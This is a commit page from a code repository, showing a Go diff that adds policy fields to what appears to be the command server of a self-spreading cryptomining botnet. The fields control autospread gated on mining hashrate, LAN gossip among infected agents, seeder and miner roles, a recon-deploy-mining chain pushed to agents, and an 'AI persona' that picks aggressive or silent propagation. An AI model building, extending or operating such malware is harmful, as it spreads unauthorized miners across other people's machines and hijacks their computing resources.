Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 04:58:55 -07:00
parent b2a7b1723f
commit 7b2d41cda8
118 changed files with 9938 additions and 223 deletions

View File

@@ -15,6 +15,15 @@ type ServerPolicy struct {
TripleOnionPolicy TripleOnionPolicy
// AIControlEnabled replaces adaptive_strategy when true (Fleet AI Control).
AIControlEnabled bool
// AIPersona selects Fleet AI spread propagation temperament (aggressive/silent/…).
AIPersona string
// AtlasLanGossipEnabled relays atlas skip hints between agents on the same /24.
AtlasLanGossipEnabled bool
// FleetRolesEnabled pushes seeder/miner hints on auth and tracks LAN seeders.
FleetRolesEnabled bool
// HashrateGateSpreadMin is minutes of stable mining above HashrateGateHPS before autospread.
HashrateGateSpreadMin int
HashrateGateHPS float64
}
// TripleOnionPolicy gates the recon → deploy → mining onion pushed to agents at auth.